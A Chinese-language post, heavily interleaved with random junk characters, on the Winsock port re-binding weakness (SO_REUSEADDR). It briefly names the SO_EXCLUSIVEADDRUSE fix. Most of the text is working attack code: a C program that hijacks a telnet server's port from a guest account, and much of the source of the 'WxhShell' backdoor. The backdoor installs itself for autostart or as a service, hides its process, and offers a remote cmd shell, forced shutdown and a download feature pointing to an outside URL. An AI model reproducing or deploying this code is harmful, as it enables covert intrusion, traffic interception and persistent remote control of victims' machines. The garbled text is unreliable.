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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o?%1^6&HE s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }q7rR:g <mN.6@*{ saddr.sin_family = AF_INET; 0/z=G!z\ 53=5xE= `D saddr.sin_addr.s_addr = htonl(INADDR_ANY); nQm7At KKB&)R bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *S ,5 mux_S2x9m\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nW#UBtZ *-0tj~)> 这意味着什么?意味着可以进行如下的攻击: H <7r ntK#7(U' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,v(K|P@ l-4+{6lz 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fP<Tvf iG*@( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z !2-U Y7{|iw(# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 J=v"
HeVm H?A&P4nZ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hr9rI qbcaiU`-^" 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r: Ij\YQ 2GB)K?1M 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lAYyxG# 36MqEUjyB #include 5A^$!q P #include 3jH-!M5 #include 3,;;C( #include CRXIVver DWORD WINAPI ClientThread(LPVOID lpParam); YB?yi( "yL int main()
J" :R,w` { ;;|S
QX WORD wVersionRequested; =@BVO@z@ DWORD ret; W>[0u3 WSADATA wsaData; ;J<K/YdI BOOL val; 4I&e_b< 30 SOCKADDR_IN saddr; 4R<bfZ43 SOCKADDR_IN scaddr; y8~/EyY|^ int err; (|Zah1k&] SOCKET s; !Miw.UmPm SOCKET sc; Qy< ~{6V int caddsize; j'xk[bM HANDLE mt; F<R+]M:fa DWORD tid; fSR+~Vy wVersionRequested = MAKEWORD( 2, 2 ); x$p_mWC err = WSAStartup( wVersionRequested, &wsaData ); M`m-@z if ( err != 0 ) { DNYJR]> printf("error!WSAStartup failed!\n"); hzv4+1Wd[ return -1; uUy~$>V } ,dyCuH!B saddr.sin_family = AF_INET;
%4 {|:ro!& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @ ={Hx$zL j_w"HiNBA saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i6Zsn#Z7) saddr.sin_port = htons(23); _d<xxF^q if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O4Z_v%2M { FR5P;Yz%H printf("error!socket failed!\n"); acG4u+[ ] return -1; V@%:y tDf } Z@i"/~B|4\ val = TRUE; Lt|'("($* //SO_REUSEADDR选项就是可以实现端口重绑定的
:oN$w\A if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jEaU; { 2^3N[pM; printf("error!setsockopt failed!\n"); xJ=@xfr$ return -1; 9|('* } wgETL|3- //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3Ql77?&k //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yAyq-G"sO //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Qf=+%-$Y S!Z2aFj if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^*-6PV#Z { 6!& DH#M ret=GetLastError(); C~o\Q#*j printf("error!bind failed!\n"); 6 +2M$3_U return -1; eG&3E`[ } v%|S)^c?: listen(s,2); VyF|d?b while(1) >)+-: { 3_5]0:?]- caddsize = sizeof(scaddr); ZjB]pG+ //接受连接请求 z+~klv3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }4dbS ;C< if(sc!=INVALID_SOCKET) B)!ty" { qG&}lg?g{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /RF=8,A if(mt==NULL) m
N&G { /O*4/ printf("Thread Creat Failed!\n"); =#z8CFq[O break; #?^%#"~4H } ].(l^W } GE S_|[Q CloseHandle(mt); 4lCEzWo[/ } XCAy _fL<B closesocket(s); Mtw7aK WSACleanup(); k1h>8z.Tg return 0; @)^|U" } X`s6lV%\ DWORD WINAPI ClientThread(LPVOID lpParam) ,SZYZ 25 { O3*}L2j@ SOCKET ss = (SOCKET)lpParam; 9P7^*f:E SOCKET sc; AJJa<c+j unsigned char buf[4096]; P #PRzt SOCKADDR_IN saddr; 7kT&}`g. long num; G*y!
Q DWORD val; 50E?K! DWORD ret; l>t0 H($ //如果是隐藏端口应用的话,可以在此处加一些判断 +m>)q4e //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 :4\=xGiY saddr.sin_family = AF_INET; exP:lO_0n saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4S7#B saddr.sin_port = htons(23); S
A\_U::T if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) azCod1aL{ { m|by^40A( printf("error!socket failed!\n"); pl4:>4l/ return -1; Tu[I84 } C"
2K U* val = 100; g^mnYg5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SJai<>k h { ~!iZn ret = GetLastError(); Acl?w }Y return -1; r:~q{ } +U^H`\EUr if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V/dL-;W; { 7.W$6U5 ret = GetLastError(); ahmxbv3f=5 return -1; t`!@E#VK } &W*do if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q L-Ni { tmgZNg
printf("error!socket connect failed!\n"); &`LR{7m closesocket(sc); ;JHR~ TV closesocket(ss); zu!# return -1; l2h1CtAU } t}X+P`Ovq while(1) V/@7XAt { N2Qb+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :RG=3T[ //如果是嗅探内容的话,可以再此处进行内容分析和记录
']__V[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o+%($p num = recv(ss,buf,4096,0); tVr^1Y if(num>0) \jCN ]A< send(sc,buf,num,0); JE=3V^k else if(num==0) UV#DN`%n break; ][V@t^ num = recv(sc,buf,4096,0); C.(<IcSG if(num>0) zEMZz$Y send(ss,buf,num,0); 3;<Vv*a"Dm else if(num==0) I*`;1+` break;
%c-T Gr, } )TtYm3, closesocket(ss); .:(T}\]R closesocket(sc); PZYVLUw
` return 0 ; i$jzn
ga } 6BY(Y(z 9.^2CM6l m> YjV>5 ========================================================== k8S`44vj Dwa.ZY}- 下边附上一个代码,,WXhSHELL =}OcMM`f 3T)_(SM" ========================================================== 5STk" ["~T)d' #include "stdafx.h" 8}.V[,]6 (/e[n.T #include <stdio.h> 4%"Df1U #include <string.h> + :;6kyM6X #include <windows.h> kVY0
E #include <winsock2.h> l<8+>W`_ #include <winsvc.h> -Crm#Ib~ #include <urlmon.h> `s|^ XQI!G_\+C #pragma comment (lib, "Ws2_32.lib") &S9O:>=* #pragma comment (lib, "urlmon.lib") pp1kcrE\M Y0;66bfh} #define MAX_USER 100 // 最大客户端连接数 GbfA-\ #define BUF_SOCK 200 // sock buffer r3mmi5 #define KEY_BUFF 255 // 输入 buffer MnBHm!]& R^Y>v5jAe #define REBOOT 0 // 重启 iL8:I)z #define SHUTDOWN 1 // 关机 n h&[e CSVL,(Uw #define DEF_PORT 5000 // 监听端口 Mq Q'Kjo 2=`}:&0l #define REG_LEN 16 // 注册表键长度 t+IrQf,P[ #define SVC_LEN 80 // NT服务名长度 W@p 27Tiq Dwbt^{N^ // 从dll定义API |,lw$k93 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n^2'O:Vs typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FC
q&- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rL23^}+^` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `-yiVUp1:z W+'f|J= // wxhshell配置信息 )F3> struct WSCFG { 5XF&yYWq int ws_port; // 监听端口 {Z_?7J&z char ws_passstr[REG_LEN]; // 口令 9|x{z int ws_autoins; // 安装标记, 1=yes 0=no xv9G% char ws_regname[REG_LEN]; // 注册表键名 "YoFUfaNg char ws_svcname[REG_LEN]; // 服务名 Z11I1)%s char ws_svcdisp[SVC_LEN]; // 服务显示名 :)j& t>aP char ws_svcdesc[SVC_LEN]; // 服务描述信息 6SP!J*F char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5{\ ;7( int ws_downexe; // 下载执行标记, 1=yes 0=no xW+XN`77 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" }S=m :
VKH char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5fuYva
>Ik V1
{'d[E* };
3dB{DuQ -oB`v' // default Wxhshell configuration @M=\u-jJ. struct WSCFG wscfg={DEF_PORT, wak`Jte=}m "xuhuanlingzhe", q?=_{oH9 1, Ox^VU2K;&. "Wxhshell", KF}_|~~T "Wxhshell", ?,oE_H "WxhShell Service", jUCDf-_ m "Wrsky Windows CmdShell Service",
XM< "Please Input Your Password: ", 8ps1Q2| 1, _[{oK G^u " http://www.wrsky.com/wxhshell.exe", _64<[2 "Wxhshell.exe" <ql:n }; UdK +,k~m/ U!i @XA%P // 消息定义模块 $&KiN82, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M <ccfU! char *msg_ws_prompt="\n\r? for help\n\r#>"; i/aj;t char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; o!sHK9hvJ) char *msg_ws_ext="\n\rExit."; TSKR~3D# char *msg_ws_end="\n\rQuit."; 4mwLlYZ char *msg_ws_boot="\n\rReboot..."; }cd-BW char *msg_ws_poff="\n\rShutdown..."; >e^8fpgSo char *msg_ws_down="\n\rSave to "; x>[f+Tc C3-I5q(V] char *msg_ws_err="\n\rErr!"; l;vA"b=] char *msg_ws_ok="\n\rOK!"; GEZ!z5";BQ n{E9p3i char ExeFile[MAX_PATH]; naiy] oY" int nUser = 0; aB)G!Rm& HANDLE handles[MAX_USER]; z18<rj int OsIsNt; Z1sRLkR^ _GsHT\ SERVICE_STATUS serviceStatus;
dEK bB SERVICE_STATUS_HANDLE hServiceStatusHandle; gjc[\"0a5h =fcRH:B: // 函数声明 'tMS5d)4: int Install(void); 1)!?,O\ey int Uninstall(void); n$E'+kox int DownloadFile(char *sURL, SOCKET wsh); n+w$'l int Boot(int flag); WlRaD%Q void HideProc(void); #(1R:z\: int GetOsVer(void); `(VVb@:o int Wxhshell(SOCKET wsl); Py~N.@(:1u void TalkWithClient(void *cs); wOr pp3I int CmdShell(SOCKET sock); Gn>~CoFN int StartFromService(void); x_OZdI int StartWxhshell(LPSTR lpCmdLine); )!g@MHHL of0hJR VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +9]CGYj VOID WINAPI NTServiceHandler( DWORD fdwControl ); /A>1TPb09" sp&g // 数据结构和表定义 XE?,)8 SERVICE_TABLE_ENTRY DispatchTable[] = .7r$jmuFs { z.0!FUd {wscfg.ws_svcname, NTServiceMain}, ydf;g5OZ {NULL, NULL} cBDOA<]r, }; !Tu4V\^~A Na{&aqdz // 自我安装 K?H(jP2mpM int Install(void) 1SY3 { DPylc9[- char svExeFile[MAX_PATH]; 2X|nPhNi HKEY key; RxXiSc`^z strcpy(svExeFile,ExeFile); m}GEx)Y D 2br~Vn0N // 如果是win9x系统,修改注册表设为自启动 V<0J j if(!OsIsNt) { 7!('+x(> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lCK|PY* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4<y|SI! RegCloseKey(key); mcLxX'c6<h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A}z1~Z+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oPC
qv RegCloseKey(key); G:Cgq\+R return 0;
!AFii:# } XDAwE } Fu"@)xw/-q } ;1L7+.A else { *}Nh7>d( !?J?R-C // 如果是NT以上系统,安装为系统服务 :B1a2Y^" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7oFA5T _ if (schSCManager!=0) &~sk7iGi { X:d[eAu0 SC_HANDLE schService = CreateService }W$}blbp ( xT;j_'9U; schSCManager, .R{+Pz D wscfg.ws_svcname, , \R,O wscfg.ws_svcdisp, .q_SA-!w> SERVICE_ALL_ACCESS, HFTDea +# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , axLO: Q, SERVICE_AUTO_START, C5&+1VrP SERVICE_ERROR_NORMAL, _Rey~]iJJ8 svExeFile, =qF DrDt NULL, Wm>AR? b NULL, *[0)]|r NULL, Zm#qW2a]P NULL, Y"'k $jS- NULL xD4G(]d! ); `]m/za%7 if (schService!=0) =*Y=u6? { ~R\U1XXyUY CloseServiceHandle(schService); r:9H>4m CloseServiceHandle(schSCManager); ]-tAgNzl% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5 @61=Au strcat(svExeFile,wscfg.ws_svcname); @ )m9#F if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jS'hs>Ot RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hv8j$2m RegCloseKey(key); ^9xsbv
B0 return 0; $-;x8O]u } A3mS Sc6 } k80!!S=_> CloseServiceHandle(schSCManager); b%M|R%)] } [Se0+\,& } 8!VFb+ 6 jo+i[h return 1; ?KtvXTy{m } <nE |Y@S <n|.Z-gF\ // 自我卸载 Q5pm^X._j int Uninstall(void) )0xEI { ljRR{HOl HKEY key; TM1J1GU N6*v!M+ if(!OsIsNt) { .Wq" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~L=Idt!9 RegDeleteValue(key,wscfg.ws_regname); jj*e.t:F RegCloseKey(key); 7COJ.rA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tx{tIw^2; RegDeleteValue(key,wscfg.ws_regname); i=8){GX4 RegCloseKey(key); V0'_PR@; return 0; &yQM8J~ } I0]"o#LjT } +)7Yqh#$ } ]6 vqgu else { 5N4[hQrVJ w-(^w9_e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V;SXa|, if (schSCManager!=0) x8wal[6 { um$ K^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Afq?Ps+ if (schService!=0) ~\D
H[Mt { (8/Qt\3jv if(DeleteService(schService)!=0) { -(YdK8 CloseServiceHandle(schService); ~TEKxgU CloseServiceHandle(schSCManager);
kN,WB return 0; _Q3Ad>,U } 2e @zd\ CloseServiceHandle(schService); $>mTPNF } 8GD!]t# CloseServiceHandle(schSCManager); ]VS$ ?wD } =\l7k< } hV4\#K[ Mb0cdK?hA return 1; 9Ucn
6[W } MOEB{~v`; HJ,sZ4*]] // 从指定url下载文件 $S0eERga int DownloadFile(char *sURL, SOCKET wsh) ooPH [p { $6]7>:8mz HRESULT hr; N}2xt)JZz char seps[]= "/"; Fl^}tC char *token; k(v8zDq* char *file; * 5Y.9g3)Q char myURL[MAX_PATH]; KU}HVM{ char myFILE[MAX_PATH]; Kzd`|+?'`M h7H#sL[^ strcpy(myURL,sURL); 'of5v6:8 token=strtok(myURL,seps); v|v^(P,o while(token!=NULL) JV#)?/a$z { H21\6 GY file=token; [ZP8[Zl'? token=strtok(NULL,seps); zu
Jl #3YP } `+(|$?C u GL_a`.=@ GetCurrentDirectory(MAX_PATH,myFILE); .h8%zB#|i strcat(myFILE, "\\"); uoe5@j2 strcat(myFILE, file); JyX7I,0 send(wsh,myFILE,strlen(myFILE),0); >r"~t70C~] send(wsh,"...",3,0); }Rc8\, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SEc3`y;j% if(hr==S_OK) fYzOT,c return 0; yEfV8aY'* else |,ZmRW^2K return 1; {m/\AG)1I hL,+wJ+A } D~xUr)E *QF3l0& // 系统电源模块 0Up@+R2 int Boot(int flag) G/Xa`4"_ { \
l+RX* HANDLE hToken; %#Vn?zr|~ TOKEN_PRIVILEGES tkp; Zbp ByRyN !m#cneV if(OsIsNt) { 'sL>U$( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $z+iB;x LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [z:bnS~yiD tkp.PrivilegeCount = 1; y^ gazr" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k]Y#-Q1p~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `1NxS35u if(flag==REBOOT) { :I5]|pt if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OT9\K_ return 0; {q1&4U~'>O } S4]xxc else { nr>g0_%m if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]8q5k5~ return 0; b-{\manH } ,0#5kc*X } nzTzc5
w else { ~7!J/LHg if(flag==REBOOT) { SrN;S kS if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g]V}azLr return 0; ZpHT2-baVe } dy jzF`H else { W&]grG2/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z3G>DF:$ return 0; PiZt?r?5w| } hgE!)UE } 1WPDMLuN }`$:3mb&f return 1; aho;HM$hjP } C9/?B: p1HU2APFP // win9x进程隐藏模块 j$#pG void HideProc(void) DsqsMlB{ { 8 F'i5i k3[
~I' HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ou;
]>FJ if ( hKernel != NULL ) XQ<2(}]4 { `OnN12` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xyx.1o
e! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JBa=R^k FreeLibrary(hKernel); 'jeGERMr' } 9o P8| <+ J?-"]s`J return; F]W'spF, } YF@'t~_Z !>/U6h,_ // 获取操作系统版本 i6r%;ueLb int GetOsVer(void) Xt/T0.I { iLy}G7h OSVERSIONINFO winfo; UUv&X+Y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3skq%;%Wsk GetVersionEx(&winfo); v I]|
W if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r]km1SrS return 1; A5Yfm.Jy else 2"nd(+QH return 0; SPL72+S`, } (]>c8;o#b 6Pl$DSu // 客户端句柄模块 'M+iVF6 int Wxhshell(SOCKET wsl) !1dCk/D&)8 { zb~!>
QIz{ SOCKET wsh; d> Y9g struct sockaddr_in client; -<}_K,Ky` DWORD myID; qSMSTmnQ El0|.dW while(nUser<MAX_USER) Og%qv
Bj 6 { K|Std)6 int nSize=sizeof(client); /wI$}X5o~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p0uQ>[NV0 if(wsh==INVALID_SOCKET) return 1; 0<Px2/ uKh),@JV handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]BCH9%zLj if(handles[nUser]==0) gOO\` # closesocket(wsh); b}o^ ?NtA else G[6V=G nUser++; 1I KDp]SN } A;w,m{9< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'HkV_d[li cy?u
* return 0; c^UG}:Y } BG~h9.c uFb&WIo1 // 关闭 socket _i:yI-jA void CloseIt(SOCKET wsh) O~-#>a { j,Qp*b#Qo closesocket(wsh); 8@Xq ,J nUser--; KCDEMs}}zM ExitThread(0); ar=uDb; } Kw&J<H 'wLQ9o%=p| // 客户端请求句柄 ^{-J Y void TalkWithClient(void *cs) +QuaQ% lA { g-meJhX% A"#Gg7]tl' SOCKET wsh=(SOCKET)cs; ,#UaWq@7 char pwd[SVC_LEN]; Tw`^ char cmd[KEY_BUFF]; UbJ_'>hK 6 char chr[1]; }!(cm;XA" int i,j; 0~R0)Q, >Rjk d>K3 while (nUser < MAX_USER) { O@'/B" & CG@ LYN if(wscfg.ws_passstr) { F%lP<4Vx if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m/JpYv~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2ME3= C //ZeroMemory(pwd,KEY_BUFF); #)hM]=,e i=0; |JSj<~1ki while(i<SVC_LEN) { L/"XIMI*Xg ; a XcGa // 设置超时 9Rzu0:r., fd_set FdRead; &2Q4{i struct timeval TimeOut; tV9nC FD_ZERO(&FdRead); SI*O#K=w FD_SET(wsh,&FdRead); <E|i3\[p TimeOut.tv_sec=8; :o&qJ% TimeOut.tv_usec=0; GG5wiN*2S int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #<S+E7uTs if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^|Of votv rZ= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .4^Ep\\ pwd =chr[0]; cc*A/lD if(chr[0]==0xd || chr[0]==0xa) { %/CCh;N# pwd=0; 't{~#0d= break; S
j)&! } 0j7W\'!t i++; OSK3X Qc } AwAUm 2^ `!kOyh:X // 如果是非法用户,关闭 socket CQW#o_\ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {l%Of } ,H2[["1DH [: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {PnvQ?|Z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S2kFdx*Zf T+9#P4 while(1) { -[|R\'i Nj5Mc>_ ZeroMemory(cmd,KEY_BUFF); d0"Hu^] %]h5\%@w // 自动支持客户端 telnet标准 !<Ma9%uC{ j=0; t Q385en while(j<KEY_BUFF) { UIi;&[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q35$GFj"jD cmd[j]=chr[0]; $5jQm,V$K if(chr[0]==0xa || chr[0]==0xd) { >Olg
lUzA cmd[j]=0; -Id4P _y break; y$Sn3_9 V } 3~;LNi j++; :$~)i?ge<5 } Jajo!X*Wai }KEyJj3"DA // 下载文件 b
lP@Cn2 if(strstr(cmd,"http://")) { |,cQJ send(wsh,msg_ws_down,strlen(msg_ws_down),0); Fo=Icvo if(DownloadFile(cmd,wsh)) +)h *) send(wsh,msg_ws_err,strlen(msg_ws_err),0); __fa,kK {? else )q8w+'z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J cL4q\g } s {p-cV else { W,9. z% $l@nk@ switch(cmd[0]) { e;GLPB 26.),a // 帮助 \1cay#X case '?': { rkugV&BhV send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P$ZIKkf break; !K-lO{Z^ } wmAZ { // 安装
$A]2Iw!& case 'i': { 4{=zO(> if(Install()) l\xcR]O send(wsh,msg_ws_err,strlen(msg_ws_err),0); hOw else S.pL^Ru send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q1yMI8 break; AE?MEag } 2#1"(m{ // 卸载 Ri=:=oF( case 'r': { 8yij=T* if(Uninstall()) o@*eC L= send(wsh,msg_ws_err,strlen(msg_ws_err),0); @/FE!6 |O else y.(Yh1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2fFZ70Yh break; n}/?nP\% } Ezsb'cUa( // 显示 wxhshell 所在路径 'APtY;x^{ case 'p': { bnHQvCO3$ char svExeFile[MAX_PATH]; :>4pH strcpy(svExeFile,"\n\r"); ]CHO5'%,$ strcat(svExeFile,ExeFile); Yef=HSzo send(wsh,svExeFile,strlen(svExeFile),0); (8T36pt~ break; `Sgj!/!F } "Zm**h.t // 重启 & mwQj<Z case 'b': { d5Hp&tm send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +a1Or if(Boot(REBOOT)) H3\4&q send(wsh,msg_ws_err,strlen(msg_ws_err),0); .'foS>W=t else { )r2$!(NQ closesocket(wsh); 8T<LNC ExitThread(0); uq?(( } }p,#rOX:A break; (K9pr>le } 9<0TF+}> // 关机 0<tce case 'd': { ^{Wx\+*! send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hWc`4xdl if(Boot(SHUTDOWN)) aT|SKb` send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]nPfIBoS else { :{sy2g/+ closesocket(wsh); c=d` DJ ExitThread(0); lw+Y_; } ASGV3r( break; {zzc/!| } SB~HHx09 // 获取shell @jh\yj rW case 's': { ]JDKoA{S0 CmdShell(wsh); <14,xYpE closesocket(wsh); ^4MRG6G ExitThread(0); Q/D?U[G break; JTGA\K } /B"FGa04p( // 退出 g
Va;! case 'x': { (sM$=M<$ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B|9[DNd CloseIt(wsh); W5i{W' break; p>M8:, }
55O_b)$ // 离开 <MK4#I1I case 'q': { +vf~s^ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;OC~,?O5 closesocket(wsh); oZ]^zzoEcg WSACleanup(); v7-z<'?s~ exit(1); $-^
;Jl break; LV}Z[\? } ohEIr2 } F:$*0! } +az=EF !AR@GuQPE // 提示信息 vciO={M if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d23;c )'
} aI. 5w9 } Z7][" M=rH*w{^ return; <n4?wo } OQnb^fabY uuaoBf // shell模块句柄 ?uAq goCl int CmdShell(SOCKET sock) A4K8DP { y26?>.! STARTUPINFO si; gn-@OmIs ZeroMemory(&si,sizeof(si)); hl}iw_e si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cQzUR^oq, si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ] 6Y6q])Z PROCESS_INFORMATION ProcessInfo; x)+ q$FB char cmdline[]="cmd"; " fXs! CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Pk?M~{S return 0; 4 H9mKR } i<\WRzVT #'y4UN // 自身启动模式 DpbprT7_ int StartFromService(void) _ASyGmO{ { .n\j<Kq typedef struct 6uS;H]nd< { ,vDSY N6 DWORD ExitStatus; z( !K8
T DWORD PebBaseAddress; O'rz DWORD AffinityMask; ,gO(zI-1 DWORD BasePriority; O[Yc-4 ULONG UniqueProcessId; F_I.=zQr ULONG InheritedFromUniqueProcessId; jjT)3
c:J[ } PROCESS_BASIC_INFORMATION; qs$w9I 5M v<8P~ PROCNTQSIP NtQueryInformationProcess; QZwZ4$jkiO tkIpeL[d static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +b
sc3 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S^Mx=KJG ^\ku}X_[? HANDLE hProcess; o?
